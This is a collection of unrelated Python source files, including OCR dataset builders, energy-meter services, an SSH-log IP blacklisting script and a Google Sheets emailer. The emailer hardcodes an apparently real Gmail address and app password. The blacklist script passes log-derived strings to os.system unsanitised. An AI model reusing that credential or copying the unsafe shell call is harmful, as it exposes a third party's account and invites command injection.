tqdm(range(len(value)),ncols=150,bar_format='{l_bar}{bar:10}{r_bar}{bar:-10b}'):\r\n image_bin = readImage(os.path.sep.join([data_root, dest_dir, key, value[idx]]))\r\n image_key = 'clip_{}'.format(value[idx].split('.')[0])\r\n cache[image_key] = image_bin\r\n cache[f'clip_num_samples'] = str(len(value)).encode()\r\n writeCache(env, cache)\r\n\r\ndef createCharImagePosCache(env, data_root, dest_dir, sampleLists):\r\n\r\n for sample in sampleLists:\r\n cache = {}\r\n with open(os.path.sep.join([data_root, dest_dir, f'{sample}_pos_clean.txt'])) as f:\r\n pos_lists = f.readlines()\r\n print(f'import {sample} char image pos data len :', len(pos_lists))\r\n\r\n for idx in tqdm(range(len(pos_lists)),ncols=150,bar_format='{l_bar}{bar:10}{r_bar}{bar:-10b}'):\r\n image_pos_key = f'{sample}_pos_{idx}'\r\n cache[image_pos_key] = pos_lists[idx].strip().encode()\r\n cache[f'{sample}_num_samples'] = str(len(pos_lists)).encode()\r\n writeCache(env, cache)\r\n\r\ndef createOriginImageCache(env, data_root, dest_dir, charImageLists):\r\n for key, value in charImageLists.items():\r\n cache = {}\r\n print(f'import {key} origin image data ', len(value))\r\n for idx in tqdm(range(len(value)),ncols=150,bar_format='{l_bar}{bar:10}{r_bar}{bar:-10b}'):\r\n image_bin = readImage(os.path.sep.join([data_root, dest_dir, key, value[idx]]))\r\n image_key = 'origin_%s' % value[idx].split('.')[0]\r\n image_idx_key = f'origin_{key}_{idx}'\r\n cache[image_idx_key] = image_key.encode()\r\n cache[image_key] = image_bin\r\n cache[f'{key}_origin_num_samples'] = str(len(value)).encode()\r\n writeCache(env, cache) \r\n\r\ndef createBgImageCache(env, data_root, dest_dir, bgImageLists):\r\n cache = {}\r\n print('import bg images, ', len(bgImageLists))\r\n for idx in tqdm(range(len(bgImageLists)),ncols=150,bar_format='{l_bar}{bar:10}{r_bar}{bar:-10b}'):\r\n image_bin = readImage(os.path.sep.join([data_root, dest_dir, 'bg', bgImageLists[idx]]))\r\n image_key = f'bg_{idx}'\r\n cache[image_key] = image_bin\r\n cache[f'bg_num_samples'] = str(len(bgImageLists)).encode()\r\n writeCache(env, cache)\r\n\r\n\r\n# 空图片\r\ndef createCleanImageCache(env, data_root, dest_dir, cleanImageLists):\r\n cache = {}\r\n print('import clean images, ', len(cleanImageLists))\r\n count = 0\r\n for idx in tqdm(range(len(cleanImageLists)),ncols=150,bar_format='{l_bar}{bar:10}{r_bar}{bar:-10b}'):\r\n try:\r\n image_bin = readImage(os.path.sep.join([data_root, dest_dir, 'Empty', cleanImageLists[idx]]))\r\n image_key = f'clean_{count}'\r\n cache[image_key] = image_bin\r\n count += 1\r\n except Exception as e:\r\n print('import clean image error: ', e)\r\n print('import clean message number:', count)\r\n cache[f'clean_num_samples'] = str(count).encode()\r\n writeCache(env, cache) \r\n\r\n\r\n\r\n\r\n\r\ndef createLabelCache(env, train_data, valid_data):\r\n cache = {}\r\n for idx, label in enumerate(train_data):\r\n cache[f'train_{idx}'] = label.encode()\r\n cache[f'train_num_samples'] = str(len(train_data)).encode()\r\n writeCache(env, cache)\r\n\r\n\r\n cache = {}\r\n for idx, label in enumerate(valid_data):\r\n cache[f'valid_{idx}'] = label.encode()\r\n cache[f'valid_num_samples'] = str(len(valid_data)).encode()\r\n writeCache(env, cache)\r\n\r\n\r\n'''\r\n读取图片,并转换成灰度图片\r\n'''\r\ndef readImage(image_file):\r\n image = cv2.imread(image_file,cv2.IMREAD_COLOR)\r\n # image = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)\r\n image_bin = cv2.imencode(\".png\",image)[1].tobytes()\r\n return image_bin\r\n\r\n\r\ndef createDataset(data_root,dest_dir,train_data, valid_data, charImageLists, \r\n charPosLists, bgImageLists, originImageLists, cleanImageLists):\r\n '''\r\n Create LMDB dataset for CRNN training.\r\n split : train, valid\r\n train_data: 'a,a,b,a,c,ab,ba,ca,abc' ???\r\n charImageLists: {'SampleA':[], 'SampleB':[]}\r\n '''\r\n outputPath = os.path.sep.join([data_root, 'lmdb'])\r\n env = lmdb.open(outputPath, map_size=300511627)\r\n createCharImageCache(env, data_root, dest_dir, charImageLists)\r\n createCharImagePosCache(env, data_root, dest_dir, ['SampleA', 'SampleB', 'SampleC', 'SampleD', 'SampleE','SampleF','SampleG','SampleH'])\r\n createBgImageCache(env, data_root, dest_dir, bgImageLists)\r\n createOriginImageCache(env, data_root, 'images', originImageLists)\r\n createLabelCache(env, train_data, valid_data)\r\n createCleanImageCache(env, data_root, dest_dir, cleanImageLists)\r\n\r\n\r\ndef addTrainDataset(data_root,dest_dir,train_data, valid_data):\r\n outputPath = os.path.sep.join([data_root, 'lmdb'])\r\n env = lmdb.open(outputPath, map_size=300511627)\r\n createLabelCache(env, train_data, valid_data)\r\n\r\n\r\ndef get_char_image_lists(data_root, dest_dir, split_list=None):\r\n if split_list is None:\r\n split_list = ['SampleA', 'SampleB', 'SampleC', 'SampleD', 'SampleE','SampleF','SampleG','SampleH']\r\n char_image_dict = {}\r\n\r\n for split in split_list:\r\n char_image_dict[split] = os.listdir(os.path.sep.join([data_root, dest_dir, split]))\r\n return char_image_dict\r\n\r\n\r\ndef get_bg_images_lists(data_root, dest_dir):\r\n return os.listdir(os.path.sep.join([data_root, dest_dir,'bg']))\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser(description=\"OCR Evaluating Program\")\r\n parser.add_argument('--data_root',default='D:\\\\PROJECT_TW\\\\git\\\\data\\\\ocr', type=str, help='path of the evaluated model')\r\n parser.add_argument(\"--image_height\", type=int, default=32, help=\"图片高度\") \r\n args = parser.parse_args()\r\n # torch.manual_seed(2020)\r\n # torch.cuda.manual_seed(2020)\r\n\r\n train_data = random_alpha(500000)\r\n valid_data = random_alpha(20000)\r\n\r\n # char_image_lists = get_char_image_lists(args.data_root, 'dest')\r\n # bg_image_lists = get_bg_images_lists(args.data_root, 'dest')\r\n # origin_image_lists = get_char_image_lists(args.data_root,'images')\r\n # clean_image_lists = os.listdir(os.path.sep.join([args.data_root,'dest','Empty']))\r\n\r\n # createDataset(data_root=args.data_root, dest_dir='dest', train_data=train_data,\r\n # valid_data=valid_data, charImageLists=char_image_lists, charPosLists=None,\r\n # bgImageLists=bg_image_lists, originImageLists=origin_image_lists, cleanImageLists=clean_image_lists)\r\n\r\n\r\n\r\n addTrainDataset(data_root=args.data_root, dest_dir='dest', train_data=train_data,valid_data=valid_data)\r\n","sub_path":"OCR/lib/ocr/gen_dataset.py","file_name":"gen_dataset.py","file_ext":"py","file_size_in_byte":8084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"564696794","text":"from datetime import time\nfrom decimal import Decimal, ROUND_UP\nimport pytz\n\nfrom django.utils import timezone\nfrom django.db.models import Avg, Min, Max, Count\n\nfrom dsmr_consumption.models.consumption import ElectricityConsumption, GasConsumption\nfrom dsmr_consumption.models.settings import ConsumptionSettings\nfrom dsmr_consumption.models.energysupplier import EnergySupplierPrice\nfrom dsmr_datalogger.models.reading import DsmrReading\nfrom dsmr_weather.models.reading import TemperatureReading\nfrom dsmr_stats.models.note import Note\n\n\ndef compact_all():\n \"\"\" Compacts all unprocessed readings, capped by a max to prevent hanging backend. \"\"\"\n unprocessed_readings = DsmrReading.objects.unprocessed()[0:1000]\n\n for current_reading in unprocessed_readings:\n compact(dsmr_reading=current_reading)\n\n\ndef compact(dsmr_reading):\n \"\"\"\n Compacts/converts DSMR readings to consumption data. Optionally groups electricity by minute.\n \"\"\"\n grouping_type = ConsumptionSettings.get_solo().compactor_grouping_type\n\n # Electricity should be unique, because it's the reading with the lowest interval anyway.\n if grouping_type == ConsumptionSettings.COMPACTOR_GROUPING_BY_READING:\n ElectricityConsumption.objects.get_or_create(\n read_at=dsmr_reading.timestamp,\n delivered_1=dsmr_reading.electricity_delivered_1,\n returned_1=dsmr_reading.electricity_returned_1,\n delivered_2=dsmr_reading.electricity_delivered_2,\n returned_2=dsmr_reading.electricity_returned_2,\n currently_delivered=dsmr_reading.electricity_currently_delivered,\n currently_returned=dsmr_reading.electricity_currently_returned,\n phase_currently_delivered_l1=dsmr_reading.phase_currently_delivered_l1,\n phase_currently_delivered_l2=dsmr_reading.phase_currently_delivered_l2,\n phase_currently_delivered_l3=dsmr_reading.phase_currently_delivered_l3,\n )\n # Grouping by minute requires some distinction and history checking.\n else:\n minute_start = timezone.datetime.combine(\n dsmr_reading.timestamp.date(),\n time(hour=dsmr_reading.timestamp.hour, minute=dsmr_reading.timestamp.minute),\n ).replace(tzinfo=pytz.UTC)\n minute_end = minute_start + timezone.timedelta(minutes=1)\n\n # Postpone when current minute hasn't passed yet.\n if timezone.now() <= minute_end:\n return\n\n # We might have six readings per minute, so there is a chance we already parsed it.\n if not ElectricityConsumption.objects.filter(read_at=minute_end).exists():\n grouped_reading = DsmrReading.objects.filter(\n timestamp__gte=minute_start, timestamp__lt=minute_end\n ).aggregate(\n avg_delivered=Avg('electricity_currently_delivered'),\n avg_returned=Avg('electricity_currently_returned'),\n max_delivered_1=Max('electricity_delivered_1'),\n max_delivered_2=Max('electricity_delivered_2'),\n max_returned_1=Max('electricity_returned_1'),\n max_returned_2=Max('electricity_returned_2'),\n avg_phase_delivered_l1=Avg('phase_currently_delivered_l1'),\n avg_phase_delivered_l2=Avg('phase_currently_delivered_l2'),\n avg_phase_delivered_l3=Avg('phase_currently_delivered_l3'),\n )\n\n # This instance is the average/max and combined result.\n ElectricityConsumption.objects.create(\n read_at=minute_end,\n delivered_1=grouped_reading['max_delivered_1'],\n returned_1=grouped_reading['max_returned_1'],\n delivered_2=grouped_reading['max_delivered_2'],\n returned_2=grouped_reading['max_returned_2'],\n currently_delivered=grouped_reading['avg_delivered'],\n currently_returned=grouped_reading['avg_returned'],\n phase_currently_delivered_l1=grouped_reading['avg_phase_delivered_l1'],\n phase_currently_delivered_l2=grouped_reading['avg_phase_delivered_l2'],\n phase_currently_delivered_l3=grouped_reading['avg_phase_delivered_l3'],\n )\n\n # Gas is optional.\n if dsmr_reading.extra_device_timestamp and dsmr_reading.extra_device_delivered:\n # Gas however is only read (or updated) once every hour, so we should check for any duplicates\n # as they will exist at some point.\n passed_hour_start = dsmr_reading.extra_device_timestamp - timezone.timedelta(hours=1)\n\n if not GasConsumption.objects.filter(read_at=passed_hour_start).exists():\n # DSMR does not expose current gas rate, so we have to calculate\n # it ourselves, relative to the previous gas consumption, if any.\n try:\n previous_gas_consumption = GasConsumption.objects.get(\n # Compare to reading before, if any.\n read_at=passed_hour_start - timezone.timedelta(hours=1)\n )\n except GasConsumption.DoesNotExist:\n gas_diff = 0\n else:\n gas_diff = dsmr_reading.extra_device_delivered - previous_gas_consumption.delivered\n\n GasConsumption.objects.create(\n # Gas consumption is aligned to start of the hour.\n read_at=passed_hour_start,\n delivered=dsmr_reading.extra_device_delivered,\n currently_delivered=gas_diff\n )\n\n dsmr_reading.processed = True\n dsmr_reading.save(update_fields=['processed'])\n\n # For backend logging in Supervisor.\n print(' - Processed reading: {}.'.format(timezone.localtime(dsmr_reading.timestamp)))\n\n\ndef consumption_by_range(start, end):\n \"\"\" Calculates the consumption of a range specified. \"\"\"\n electricity_readings = ElectricityConsumption.objects.filter(\n read_at__gte=start, read_at__lt=end,\n ).order_by('read_at')\n\n gas_readings = GasConsumption.objects.filter(\n read_at__gte=start, read_at__lt=end,\n ).order_by('read_at')\n\n return electricity_readings, gas_readings\n\n\ndef day_consumption(day):\n \"\"\" Calculates the consumption of an entire day. \"\"\"\n consumption = {\n 'day': day\n }\n day_start = timezone.make_aware(timezone.datetime(year=day.year, month=day.month, day=day.day))\n day_end = day_start + timezone.timedelta(days=1)\n\n try:\n # This WILL fail when we either have no prices at all or conflicting ranges.\n consumption['daily_energy_price'] = EnergySupplierPrice.objects.by_date(target_date=day)\n except (EnergySupplierPrice.DoesNotExist, EnergySupplierPrice.MultipleObjectsReturned):\n # Default to zero prices.\n consumption['daily_energy_price'] = EnergySupplierPrice()\n\n electricity_readings, gas_readings = consumption_by_range(start=day_start, end=day_end)\n\n if not electricity_readings.exists():\n raise LookupError(\"No electricity readings found for: {}\".format(day))\n\n electricity_reading_count = electricity_readings.count()\n\n first_reading = electricity_readings[0]\n last_reading = electricity_readings[electricity_reading_count - 1]\n consumption['electricity1'] = last_reading.delivered_1 - first_reading.delivered_1\n consumption['electricity2'] = last_reading.delivered_2 - first_reading.delivered_2\n consumption['electricity1_start'] = first_reading.delivered_1\n consumption['electricity1_end'] = last_reading.delivered_1\n consumption['electricity2_start'] = first_reading.delivered_2\n consumption['electricity2_end'] = last_reading.delivered_2\n consumption['electricity1_returned'] = last_reading.returned_1 - first_reading.returned_1\n consumption['electricity2_returned'] = last_reading.returned_2 - first_reading.returned_2\n consumption['electricity1_returned_start'] = first_reading.returned_1\n consumption['electricity1_returned_end'] = last_reading.returned_1\n consumption['electricity2_returned_start'] = first_reading.returned_2\n consumption['electricity2_returned_end'] = last_reading.returned_2\n consumption['electricity1_unit_price'] = consumption['daily_energy_price'].electricity_1_price\n consumption['electricity2_unit_price'] = consumption['daily_energy_price'].electricity_2_price\n consumption['electricity1_cost'] = round_decimal(\n consumption['electricity1'] * consumption['electricity1_unit_price']\n )\n consumption['electricity2_cost'] = round_decimal(\n consumption['electricity2'] * consumption['electricity2_unit_price']\n )\n consumption['electricity_merged'] = consumption['electricity1'] + consumption['electricity2']\n consumption['electricity_returned_merged'] = \\\n consumption['electricity1_returned'] + consumption['electricity2_returned']\n consumption['electricity_cost_merged'] = consumption['electricity1_cost'] + consumption['electricity2_cost']\n consumption['total_cost'] = round_decimal(\n consumption['electricity1_cost'] + consumption['electricity2_cost']\n )\n\n # Gas readings are optional, as not all meters support this.\n if gas_readings.exists():\n gas_reading_count = gas_readings.count()\n first_reading = gas_readings[0]\n last_reading = gas_readings[gas_reading_count - 1]\n consumption['gas'] = last_reading.delivered - first_reading.delivered\n consumption['gas_start'] = first_reading.delivered\n consumption['gas_end'] = last_reading.delivered\n consumption['gas_unit_price'] = consumption['daily_energy_price'].gas_price\n consumption['gas_cost'] = round_decimal(\n consumption['gas'] * consumption['gas_unit_price']\n )\n consumption['total_cost'] += consumption['gas_cost']\n\n consumption['notes'] = Note.objects.filter(day=day).values_list('description', flat=True)\n\n # Remperature readings are not mandatory as well.\n temperature_readings = TemperatureReading.objects.filter(\n read_at__gte=day_start, read_at__lt=day_end,\n ).order_by('read_at')\n consumption['lowest_temperature'] = temperature_readings.aggregate(\n avg_temperature=Min('degrees_celcius'),\n )['avg_temperature'] or 0\n consumption['highest_temperature'] = temperature_readings.aggregate(\n avg_temperature=Max('degrees_celcius'),\n )['avg_temperature'] or 0\n consumption['average_temperature'] = temperature_readings.aggregate(\n avg_temperature=Avg('degrees_celcius'),\n )['avg_temperature'] or 0\n\n return consumption\n\n\ndef round_decimal(decimal_price):\n \"\"\" Round the price to two decimals. \"\"\"\n if not isinstance(decimal_price, Decimal):\n decimal_price = Decimal(str(decimal_price))\n\n return decimal_price.quantize(Decimal('.01'), rounding=ROUND_UP)\n\n\ndef calculate_slumber_consumption_watt():\n \"\"\" Groups all electricity readings to find the most constant consumption. \"\"\"\n most_common = ElectricityConsumption.objects.filter(\n currently_delivered__gt=0\n ).values('currently_delivered').annotate(\n currently_delivered_count=Count('currently_delivered')\n ).order_by('-currently_delivered_count')[:5]\n\n if not most_common:\n return\n\n # We calculate the average among the most common consumption read.\n count = 0\n usage = 0\n\n for item in most_common:\n count += item['currently_delivered_count']\n usage += item['currently_delivered_count'] * item['currently_delivered']\n\n return round(usage / count * 1000)\n\n\ndef calculate_min_max_consumption_watt():\n \"\"\" Returns the lowest and highest Wattage consumed. \"\"\"\n min_max = ElectricityConsumption.objects.filter(\n currently_delivered__gt=0\n ).aggregate(\n min_watt=Min('currently_delivered'),\n max_watt=Max('currently_delivered')\n )\n\n for x in min_max.keys():\n if min_max[x]:\n min_max[x] = int(min_max[x] * 1000)\n\n return min_max\n","sub_path":"dsmr_consumption/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":11936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"77790690","text":"class Veiculo:\n def __init__(self, pl, mc):\n self.placa = pl\n self.marca = mc\n print('construtor da classe veiculo:{}'.format(self) )\n\nclass Carro(Veiculo):\n def __init__(self, cad, plc, mrc): \n super().__init__(plc, mrc)\n self.cadeira = cad\n\nclass Moto(Veiculo):\n def __init__(self, plc, mrc, cld):\n super().__init__(plc, mrc)\n self.cilindrada = cld\n\nprint('='*50)\nprint('\\n'*3)\n\n\ncarro = Carro(4, 'plc-1111', 'Honda')\nmoto = Moto('aaa-9999', 'Suzuki','1200cc')\n\nprint(moto.cilindrada + ' - ' + moto.marca + ' - ' + moto.placa)\n\n\n\n\nprint('\\n'*3)\nprint('='*50)","sub_path":"ManipulacaoAT/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"323088210","text":"import sqlite3\nfrom sqlite3 import Error\nimport sys\nfrom string import ascii_uppercase\n\n''' Function: create_connection\n create a database connection to the SQLite database specified by db_file\n\n Parameters:\n db_file - database file\n \n Returns:\n Connection object or None\n'''\ndef create_connection(db_file):\n conn = None\n try:\n conn = sqlite3.connect(db_file)\n return conn\n except Error as e:\n print(e) \n return conn\n\n\n''' Function: create_table\n create a table from the create_table_sql statement\n\n Parameters:\n conn - Connection object\n create_table_sql - a CREATE TABLE statement\n \n Returns:\n no return value\n'''\ndef create_table(conn, create_table_sql):\n try:\n c = conn.cursor()\n c.execute(create_table_sql)\n conn.commit()\n except Error as e:\n print(e)\n\n\ndef main():\n database = r\"timetable_database.db\"\n # create a database connection\n conn = create_connection(database) \n # create tables\n if conn is not None:\n\n #create allocated subjects and allocated instructors tables\n query = \"CREATE TABLE IF NOT EXISTS Allocated_Subjs ('Course_No' text PRIMARY KEY, 'Slot' text NOT NULL, 'Class' text, 'Row_No' text);\"\n create_table(conn, query)\n query = \"CREATE TABLE IF NOT EXISTS Instructor_Slots ('FullName' text, 'ShortName' text, 'Slot' text NOT NULL, 'Course_No' text);\"\n create_table(conn, query)\n\n else:\n print(\"Error! cannot create the database connection.\")\n \n if conn:\n conn.close()\n\nif __name__ == '__main__':\n main()","sub_path":"Version-2/Source/allocate.py","file_name":"allocate.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"186885257","text":"#!/usr/bin/env python3\nimport os\nimport gzip\nimport re\nfrom config import *\n\npfbin=\"/sbin/pfctl\"\npftable=\"spammers\"\n\nnpfbin=\"/sbin/npfctl\"\nnpftable=\"spammers\"\n\nlogdir=\"/var/log/\"\nlogfiles = [f for f in os.listdir(logdir) if re.match(r\"authlog*\", f)]\n\n# Lignes pour récupérer l'ip\n#cat /var/log/authlog| grep Invalid | cut -d \" \" -f 11 | sort -u\n#cat /var/log/authlog| grep BREAK | cut -d \" \" -f 13 | sort -u\n\ndef ssh_blacklist(file):\n\tip=\"\"\n\tprevip=\"\"\n\n\tfor line in file:\n\t\tlinestr = str(line)\n\t\tif \"Invalid\" in linestr:\n\t\t\tcut=(linestr.split(\": \"))\n\t\t\tcut=(cut[1].split(\" \"))\n\t\t\tcut=cut[4].split('\\\\n')\n\t\t\tip=cut[0]\n\t\tif \"BREAK\" in linestr:\n\t\t\tcut=(linestr.split(\" \"))\n\t\t\tcut=cut[12].split('\\n')\n\t\t\tcut=cut[0].split(\"[\")\n\t\t\tcut=cut[1].split(\"]\")\n\t\t\tip=cut[0]\n\t\t\tprint(ip)\n\t\tfor white in white_net_match:\n\t\t\tif white not in ip and ip != previp:\n\t\t\t\tprevip=ip\n\t\t\t\tcommandpf = pfbin + \" -t \" + pftable + \" -Ta \" + ip\n\t\t\t\tcommandnpf = npfbin + \" table \" + npftable + \" add \" + ip\n\t\t\t\tos.system(commandnpf)\n\nfor logfile in logfiles:\n\tif \"gz\" in logfile:\n\t\topenfile = gzip.open(logdir + logfile)\n\telse:\n\t\topenfile = open(logdir + logfile)\n\tssh_blacklist(openfile)\n","sub_path":"ssh_blacklist.py","file_name":"ssh_blacklist.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"497325800","text":"import argparse\nimport re\nfrom itertools import islice\nfrom collections import OrderedDict\nfrom fuzzywuzzy import fuzz\nfrom fuzzywuzzy import process\nfrom termcolor import colored\n\nparser = argparse.ArgumentParser(description='Mix HOMD/GG database with Mock database')\nparser.add_argument('--major_fa_fp', help='Major fasta file', required=True)\nparser.add_argument('--major_tax_fp', help='Major taxonomy file', required=True)\nparser.add_argument('--mock_fa_fp', help='Mock fasta file', required=True)\nparser.add_argument('--mock_tax_fp', help='Mock taxonomy file', required=True)\nparser.add_argument('-o', '--output_dir', help='Ouput dir', default='./')\nargs = parser.parse_args()\n\n\ndef match_taxonomy(major_taxa, mock_taxa):\n # generate major taxa set\n major_taxa_set = set()\n with open(major_taxa) as f:\n for line in f:\n taxa = line.strip().split('\\t')[1]\n # full taxa to binomial name\n major_taxa_set.add((' '.join(taxa.split(' ')[-2:])))\n\n # generate mock binomial name\n mock_taxa_set = set()\n with open(mock_taxa) as f:\n for line in f:\n taxa = line.strip().split('\\t')[1]\n mock_taxa_set.add((' '.join(taxa.split(' ')[-2:])))\n\n # fuzzy search each mock binomial name \n convert_map = {}\n for x in sorted(list(mock_taxa_set)):\n print(x)\n m = process.extract(x, major_taxa_set, limit=3)\n candidates = OrderedDict(zip(list(range(len(m) + 1)), \n [('treat as new taxonomy label', 0)] + m))\n if m[0][1] == 100:\n print(colored('perfect match found, coutinue to next...', 'green'))\n convert_map[x] = 'k__xxx; p__xxx; c__xxx; o__xxx; f__xxx; {}'.format(x)\n else:\n ans = None\n while ans is None:\n for key, value in candidates.items():\n print('{}: {}'.format(key, value[0]))\n try:\n ans = int(input(colored('No perfect match found, please enter selection:\\n',\n 'yellow')))\n if ans not in list(range(len(m) + 1)):\n raise ValueError()\n elif ans == 0:\n print(colored('treat as new taxonomy label: {}'.format(x), 'green'))\n else:\n convert_map[candidates[ans][0]] = 'k__xxx; p__xxx; c__xxx; o__xxx; f__xxx; {}'.format(x)\n print(colored('map \"{}\" -> \"{}\"'.format(candidates[ans][0], x), 'green'))\n except ValueError:\n print(colored('Unknow index, please try again...', 'red'))\n print(x)\n ans = None\n return convert_map\n\ndef feed_fa(input_fp, fa, prefix):\n with open(input_fp) as f:\n while True:\n next_n = list(islice(f, 2))\n if not next_n:\n break\n read_id = prefix + next_n[0].strip()[1:]\n read = next_n[1].strip()\n fa.write('>{}\\n{}\\n'.format(read_id, read))\n\ndef feed_tax(input_fp, tax, prefix):\n global convert_map\n with open(input_fp) as f:\n for line in f:\n index, taxa = line.strip().split('\\t')\n if prefix == 'Major_':\n binomial_name = ' '.join(taxa.split(' ')[-2:])\n if binomial_name in convert_map:\n tax.write('{}\\t{}\\n'.format(prefix + index, convert_map[binomial_name]))\n else:\n tax.write('{}\\t{}\\n'.format(prefix + index, taxa))\n elif prefix == 'Mock_':\n tax.write('{}\\t{}\\n'.format(prefix + index, taxa))\n else:\n raise Exception('No matched prefix')\n\nif __name__ == '__main__':\n convert_map = match_taxonomy(args.major_tax_fp, args.mock_tax_fp)\n print()\n for key, value in convert_map.items():\n print(\"{} -> \\n{}\".format(key, value))\n with open(args.output_dir + '/mix.fa', 'w') as fa, \\\n open(args.output_dir + '/mix.tax', 'w') as tax:\n\n feed_fa(args.major_fa_fp, fa, prefix='Major_')\n feed_fa(args.mock_fa_fp, fa, prefix='Mock_') \n feed_tax(args.major_tax_fp, tax, prefix='Major_')\n feed_tax(args.mock_tax_fp, tax, prefix='Mock_')\n\n","sub_path":"database/MIX/HOMD_14.5_with_BEI_MOCK_HM-783D/mix.py","file_name":"mix.py","file_ext":"py","file_size_in_byte":4287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"522760995","text":"from oauth2client.service_account import ServiceAccountCredentials\nimport gspread\nimport pandas as pd\nimport pprint\nfrom data_science.yelp_data import sherlock_batch\nfrom data_science.yelp_data import sherlock_ssd\nfrom data_science.yelp_data import ad_metrics\nfrom data_science.yelp_data import datawarehouse\nfrom data_science.yelp_data.query_utils import sql_listify\nfrom jinja2 import Template\nimport smtplib\nfrom email.mime.text import MIMEText\n#from email.MIMEMultipart import MIMEMultipart\nfrom email.mime.multipart import MIMEMultipart\n#from email.MIMEBase import MIMEBase\nfrom email.mime.base import MIMEBase\nfrom email import encoders\nimport random\n\nimport sys\nsys.path.append('/users/sjl/pg')\nfrom some_shit_i_wrote import *\n\ngmail_user = 'sjl@yelp.com' \ngmail_password = 'qvllntvivsdxcwro'\n\n\nscope = ['https://spreadsheets.google.com/feeds',\n 'https://www.googleapis.com/auth/drive']\n\ncreds = ServiceAccountCredentials.from_json_keyfile_name('/users/sjl/pg/client_secret.json', scope)\nclient = gspread.authorize(creds)\n\nsheet = client.open(\"Search Map Requests (Responses)\").sheet1\nlist_of_hashes = sheet.get_all_records()\nall_values = sheet.get_all_values()\n\nmap_sheet = client.open(\"Helpful_Links\").sheet1\nmap_list_of_hashes = map_sheet.get_all_records()\n\n\ncolumn_headers = all_values[0]\n\ndata_list, data_dict = [], {}\nall_values_trunc = all_values[1:]\n\nfor x in range(len(all_values_trunc)):\n\tdata_list.append(all_values_trunc[x])\n\nrow_count = len(all_values)\n\ndf = pd.DataFrame(all_values_trunc, columns=all_values[0])\n\ndf = df.loc[df['Status'] != 'Sent']\n\nfor x in range(df.shape[0]):\n\tsubmitted_timestamp = df.iloc[x,0]\n\temail = df.iloc[x,1]\n\tparent_id = df.iloc[x,2]\n\tmetro = df.iloc[x,3]\n\tcategory_1 = df.iloc[x,4]\n\tcategory_2 = df.iloc[x,5]\t\n\tcategory_3 = df.iloc[x,6]\t\n\tname = df.iloc[x,7]\n\tpriority_level = df.iloc[x,8]\n\tpotential_incremental_revenue = df.iloc[x,9]\n\tbiz_name = df.iloc[x,10]\n\n\tprint('Now working on....' + str(biz_name) + '----------')\n\t\n\tif category_2 == '':\n\t\tcategory_2 = 'NO CATEGORY HERE'\n\n\tif category_3 == '':\n\t\tcategory_3 = 'NO CATEGORY HERE'\t\n\n\tif category_2 == 'NO CATEGORY HERE' and category_3 == 'NO CATEGORY HERE':\n\t\ttitle = biz_name + ' - ' + category_1\n\telif category_2 != 'NO CATEGORY HERE' and category_3 == 'NO CATEGORY HERE':\n\t\ttitle = biz_name + ' - ' + category_1 + ', ' + category_2\n\telif category_3 != 'NO CATEGORY HERE' and category_2 == 'NO CATEGORY HERE':\n\t\ttitle = biz_name + ' - ' + category_1 + ', ' + category_3\n\telse:\n\t\ttitle = biz_name + ' - ' + category_1 + ', ' + category_2 + ', ' + category_3\n\n\tfor item in map_list_of_hashes:\n\t\tif item['DMA'] == metro:\n\t\t\tlon_min = item['Min_Lon']\n\t\t\tlon_max = item['Max_Lon']\n\t\t\tlat_min = item['Min_Lat']\n\t\t\tlat_max = item['Max_Lat']\n\t\n\tbiz_ids = run_ids(parent_id, biz_name)\n\tsearch_df = dot_search_query(lon_min, lon_max, lat_min, lat_max, category_1, category_2, category_3)\n\tleads_df = dot_leads_query(biz_ids,lon_min, lon_max, lat_min, lat_max, category_1, category_2, category_3)\n\tbiz_locations_df = biz_locations_query(biz_ids, lon_min, lon_max, lat_min, lat_max)\n\n\tmain_df = search_df\n\tmain_df = main_df.append(leads_df)\n\tmain_df = main_df.append(biz_locations_df)\n\tmain_df['title'] = random.randint(0,666666)\n\tmain_df.iloc[0,5] = title\n\n\tfilename = biz_name.title().replace(' ','_') + '_' + metro.replace(', ', '_') + '_Map_Data.csv'\n\n\tmain_df.to_csv(filename)\n\tsend_email(email,name,biz_name,filename)\n\n\tfor x in range(1,len(all_values)+1):\n\t\tif str(sheet.row_values(x)[0]) == str(submitted_timestamp) and str(sheet.row_values(x)[2]) == str(parent_id):\n\t\t\tsheet.update_cell(x, 12, 'Sent')\n\n\n\n","sub_path":"map_requests.py","file_name":"map_requests.py","file_ext":"py","file_size_in_byte":3622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"912066","text":"\"\"\"magics --- make assignment authoring easier.\n\nThis python package provides functions and magics that make authoring\nof master assignment notebooks more convenient. The functionality it provides:\n\n* Capture canonical solution with %%solution magic\n* Anticipate incorrect submissions and test them with %%submission magic\n* Create report templates with %%template magic\n* Use autotest() and report() functions to run the tests and render\n reports right in the notebook.\n\"\"\"\nimport io\nimport re\nimport types\nimport unittest\n\nfrom IPython.core import display\nfrom IPython.core import magic\nimport jinja2\nimport pygments\nfrom pygments import formatters\nfrom pygments import lexers\n\nfrom prog_edu_assistant_tools import summary_test_result\n\n\ndef autotest(test_class):\n \"\"\"Runs one unit test and returns the test result.\n\n This is a non-magic version of the %autotest.\n This function can be used as\n\n result, log = autotest(MyTestCase)\n\n Args:\n * test_class: The name of the unit test class (extends unittest.TestCase).\n\n Returns: A 2-tuple of a SummaryTestResult objct and a string holding verbose\n test logs.\n \"\"\"\n suite = unittest.TestLoader().loadTestsFromTestCase(test_class)\n errors = io.StringIO()\n result = unittest.TextTestRunner(\n verbosity=4,\n stream=errors,\n resultclass=summary_test_result.SummaryTestResult).run(suite)\n return result, errors.getvalue()\n\n\ndef report(template, **kwargs):\n \"\"\"Non-magic version of the report.\n\n This function can be used as\n\n 